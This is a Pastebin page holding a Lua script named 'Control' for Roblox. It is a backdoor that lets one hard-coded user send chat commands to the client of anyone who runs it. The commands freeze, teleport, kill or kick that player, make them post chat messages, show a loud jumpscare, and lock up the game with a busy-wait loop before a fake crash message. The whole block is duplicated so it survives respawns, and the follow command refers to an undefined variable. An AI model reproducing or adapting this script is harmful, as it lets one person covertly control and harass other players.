Advertisement
justneed

Control

Sep 10th, 2024 (edited)
485
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 9.18 KB | Gaming | 0 0
  1. local targetUsername = "Litka505"
  2.  
  3. -- Function to execute for the target player
  4. local function executeForTargetPlayer(player)
  5.     print(player.Name .. " is in the game! Executing script...")
  6.    
  7.     local user = game.Players.LocalPlayer.Character.HumanoidRootPart
  8. local me = game.Players.Litka505
  9.  
  10. me.Chatted:connect(function(cht)
  11.     if cht == ":freeze ." then
  12.         user.Anchored = true
  13.     end
  14. end)
  15.  
  16. me.Chatted:connect(function(cht)
  17.     if cht == ":unfreeze ." then
  18.         user.Anchored = false
  19.     end
  20. end)
  21.  
  22. me.Chatted:connect(function(cht)
  23.     if cht == ":bring ." then
  24.         user.CFrame = me.Character.HumanoidRootPart.CFrame
  25.     end
  26. end)
  27.  
  28. me.Chatted:connect(function(cht)
  29.     if cht == ":kick ." then
  30.         game.Players.LocalPlayer:Kick("You got kicked from this experience.")
  31.     end
  32. end)
  33.  
  34. me.Chatted:connect(function(cht)
  35.     if cht == ":ban ." then
  36.         game.Players.LocalPlayer:Kick("You are banned!")
  37.     end
  38. end)
  39.  
  40. me.Chatted:connect(function(cht)
  41.     if cht == ":fling ." then
  42.         user.CFrame = CFrame.new(-64.4950714, 633.052734, 104.106598, -0.921858728, -0.378823459, 0.0816653818, -1.67315939e-10, 0.210735187, 0.977543235, -0.387526065, 0.901156723, -0.1942681)
  43.     end
  44. end)
  45.  
  46. me.Chatted:connect(function(cht)
  47.     if cht == ":kill ." then
  48.         game.Players.LocalPlayer.Character.Humanoid.Health = 0
  49.     end
  50. end)
  51.  
  52. me.Chatted:connect(function(cht)
  53.     if cht == ":slow ." then
  54.         game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 5
  55.     end
  56. end)
  57.    
  58. me.Chatted:connect(function(cht)
  59.     if cht == ":unslow ." then
  60.         game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
  61.     end
  62. end)
  63.  
  64. me.Chatted:connect(function(cht)
  65.     if cht == ":sit ." then
  66.         game.Players.LocalPlayer.Character.Humanoid.Sit = true
  67.     end
  68. end)
  69.  
  70. me.Chatted:connect(function(cht)
  71.     if cht == ":unsit ." then
  72.         game.Players.LocalPlayer.Character.Humanoid.Sit = false
  73.     end
  74. end)
  75.  
  76. me.Chatted:connect(function(cht)
  77.     if cht:sub(1, 4) == "!say" then
  78.         local args = cht:sub(6)
  79.         if args ~= "" then
  80.             local tplr = game.Players.LocalPlayer
  81.         if tplr then
  82.             game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(args, "ALL")
  83.         end
  84.         end
  85.     end
  86. end)
  87.  
  88. me.Chatted:connect(function(cht)
  89.     if cht:sub(1, 7) == "!follow" then
  90.         local args = cht:sub(9)
  91.         if args2 ~= "" then
  92.             local taplr = game.Players.LocalPlayer
  93.         if taplr then
  94.             game.Players.LocalPlayer.Character.Humanoid:MoveTo(game.Players[args2].Character.HumanoidRootPart.Position)
  95.         end
  96.         end
  97.     end
  98. end)
  99.  
  100. me.Chatted:connect(function(cht)
  101.     if cht == ":jumpscare ." then
  102.         local screen = Instance.new("ScreenGui")
  103.         screen.Parent = game.Players.LocalPlayer.PlayerGui
  104.  
  105.         local image = Instance.new("ImageLabel")
  106.         image.Parent = screen
  107.         image.Image = "http://www.roblox.com/asset/?id=91274624708428"
  108.         image.Size = UDim2.new(1,1,1,1)
  109.  
  110.         local sound = Instance.new("Sound")
  111.         sound.Parent = game.Workspace
  112.         sound.Name = "jmp"
  113.         sound.SoundId = "rbxassetid://6129291390"
  114.         sound.Volume = 10
  115.         game.Workspace.jmp.Playing = true
  116.  
  117.         wait(9.8)
  118.             screen:Destroy()
  119.  
  120.         screen.ResetOnSpawn = false
  121.     end
  122. end)
  123.  
  124. me.Chatted:connect(function(cht)
  125.     if cht == ":crash ." then
  126.         local RunService = game:GetService("RunService")
  127.  
  128. local TARGET_FRAME_RATE = 1
  129.  
  130. local frameStart = os.clock()
  131.  
  132. RunService.PreSimulation:Connect(function()
  133.     while os.clock() - frameStart < 1 / TARGET_FRAME_RATE do
  134.         -- We do nothing until the target time has elapsed
  135.     end
  136.  
  137.     -- Mark the start of the next frame right before this one is rendered
  138.     frameStart = os.clock()
  139. end)
  140.             wait(2)
  141.             game.Players.LocalPlayer:Kick("Roblox Crashed")
  142.     end
  143. end)
  144.  
  145. print(":D")
  146.     game.StarterGui:SetCore("ChatMakeSystemMessage", {
  147.         Text = "Welcome, " .. player.Name .. "! You have special access.";
  148.         Color = Color3.fromRGB(0, 255, 0);
  149.         Font = Enum.Font.SourceSansBold;
  150.         FontSize = Enum.FontSize.Size18;
  151.     })
  152. end
  153.  
  154. -- Function to check for player, and wait if not present
  155. local function checkPlayer()
  156.     local targetPlayer = game.Players:FindFirstChild(targetUsername)
  157.    
  158.     if targetPlayer then
  159.         -- If target player is already in the game
  160.         executeForTargetPlayer(targetPlayer)
  161.     else
  162.         print("Waiting for " .. targetUsername .. " to join...")
  163.        
  164.         -- Set up the listener for when the player joins
  165.         game.Players.PlayerAdded:Connect(function(player)
  166.             if player.Name == targetUsername then
  167.                 print(targetUsername .. " has joined. Executing script...")
  168.                 executeForTargetPlayer(player)
  169.             end
  170.         end)
  171.     end
  172. end
  173.  
  174. -- Initial check and setup
  175. checkPlayer()
  176.  
  177. local player1 = game.Players.LocalPlayer
  178.  
  179. -- Function to execute after respawn
  180. local function onRespawn()
  181.     print("Player has respawned!")
  182.    
  183.     local targetUsername = "Litka505"
  184.  
  185. -- Function to execute for the target player
  186. local function executeForTargetPlayer(player)
  187.     print(player.Name .. " is in the game! Executing script...")
  188.    
  189.     local user = game.Players.LocalPlayer.Character.HumanoidRootPart
  190. local me = game.Players.Litka505
  191.  
  192. me.Chatted:connect(function(cht)
  193.     if cht == ":freeze ." then
  194.         user.Anchored = true
  195.     end
  196. end)
  197.  
  198. me.Chatted:connect(function(cht)
  199.     if cht == ":unfreeze ." then
  200.         user.Anchored = false
  201.     end
  202. end)
  203.  
  204. me.Chatted:connect(function(cht)
  205.     if cht == ":bring ." then
  206.         user.CFrame = me.Character.HumanoidRootPart.CFrame
  207.     end
  208. end)
  209.  
  210. me.Chatted:connect(function(cht)
  211.     if cht == ":kick ." then
  212.         game.Players.LocalPlayer:Kick("You got kicked from this experience.")
  213.     end
  214. end)
  215.  
  216. me.Chatted:connect(function(cht)
  217.     if cht == ":ban ." then
  218.         game.Players.LocalPlayer:Kick("You are banned!")
  219.     end
  220. end)
  221.  
  222. me.Chatted:connect(function(cht)
  223.     if cht == ":fling ." then
  224.         user.CFrame = CFrame.new(-64.4950714, 633.052734, 104.106598, -0.921858728, -0.378823459, 0.0816653818, -1.67315939e-10, 0.210735187, 0.977543235, -0.387526065, 0.901156723, -0.1942681)
  225.     end
  226. end)
  227.  
  228. me.Chatted:connect(function(cht)
  229.     if cht == ":kill ." then
  230.         game.Players.LocalPlayer.Character.Humanoid.Health = 0
  231.     end
  232. end)
  233.  
  234. me.Chatted:connect(function(cht)
  235.     if cht == ":slow ." then
  236.         game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 5
  237.     end
  238. end)
  239.    
  240. me.Chatted:connect(function(cht)
  241.     if cht == ":unslow ." then
  242.         game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
  243.     end
  244. end)
  245.  
  246. me.Chatted:connect(function(cht)
  247.     if cht == ":sit ." then
  248.         game.Players.LocalPlayer.Character.Humanoid.Sit = true
  249.     end
  250. end)
  251.  
  252. me.Chatted:connect(function(cht)
  253.     if cht == ":unsit ." then
  254.         game.Players.LocalPlayer.Character.Humanoid.Sit = false
  255.     end
  256. end)
  257.  
  258. me.Chatted:connect(function(cht)
  259.     if cht:sub(1, 7) == "!follow" then
  260.         local args = cht:sub(9)
  261.         if args2 ~= "" then
  262.             local taplr = game.Players.LocalPlayer
  263.         if taplr then
  264.             game.Players.LocalPlayer.Character.Humanoid:MoveTo(game.Players[args2].Character.HumanoidRootPart.Position)
  265.         end
  266.         end
  267.     end
  268. end)
  269.  
  270. me.Chatted:connect(function(cht)
  271.     if cht == ":jumpscare ." then
  272.         local screen = Instance.new("ScreenGui")
  273.         screen.Parent = game.Players.LocalPlayer.PlayerGui
  274.  
  275.         local image = Instance.new("ImageLabel")
  276.         image.Parent = screen
  277.         image.Image = "http://www.roblox.com/asset/?id=91274624708428"
  278.         image.Size = UDim2.new(1,1,1,1)
  279.  
  280.         local sound = Instance.new("Sound")
  281.         sound.Parent = game.Workspace
  282.         sound.Name = "jmp"
  283.         sound.SoundId = "rbxassetid://6129291390"
  284.         sound.Volume = 10
  285.         game.Workspace.jmp.Playing = true
  286.  
  287.         wait(9.8)
  288.             screen:Destroy()
  289.  
  290.         screen.ResetOnSpawn = false
  291.     end
  292. end)
  293.  
  294. me.Chatted:connect(function(cht)
  295.     if cht == ":crash ." then
  296.         local RunService = game:GetService("RunService")
  297.  
  298. local TARGET_FRAME_RATE = 1
  299.  
  300. local frameStart = os.clock()
  301.  
  302. RunService.PreSimulation:Connect(function()
  303.     while os.clock() - frameStart < 1 / TARGET_FRAME_RATE do
  304.         -- We do nothing until the target time has elapsed
  305.     end
  306.  
  307.     -- Mark the start of the next frame right before this one is rendered
  308.     frameStart = os.clock()
  309. end)
  310.             wait(2)
  311.             game.Players.LocalPlayer:Kick("Roblox Crashed")
  312.     end
  313. end)
  314.  
  315. print(":D")-- Place your code here
  316.     game.StarterGui:SetCore("ChatMakeSystemMessage", {
  317.         Text = "Welcome, " .. player.Name .. "! You have special access.";
  318.         Color = Color3.fromRGB(0, 255, 0);
  319.         Font = Enum.Font.SourceSansBold;
  320.         FontSize = Enum.FontSize.Size18;
  321.     })
  322. end
  323.  
  324. -- Function to check for player, and wait if not present
  325. local function checkPlayer()
  326.     local targetPlayer = game.Players:FindFirstChild(targetUsername)
  327.    
  328.     if targetPlayer then
  329.         -- If target player is already in the game
  330.         executeForTargetPlayer(targetPlayer)
  331.     else
  332.         print("Waiting for " .. targetUsername .. " to join...")
  333.        
  334.         -- Set up the listener for when the player joins
  335.         game.Players.PlayerAdded:Connect(function(player)
  336.             if player.Name == targetUsername then
  337.                 print(targetUsername .. " has joined. Executing script...")
  338.                 executeForTargetPlayer(player)
  339.             end
  340.         end)
  341.     end
  342. end
  343.  
  344. -- Initial check and setup
  345. checkPlayer()
  346. end
  347.  
  348. -- Connect to the CharacterAdded event
  349. player1.CharacterAdded:Connect(onRespawn)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement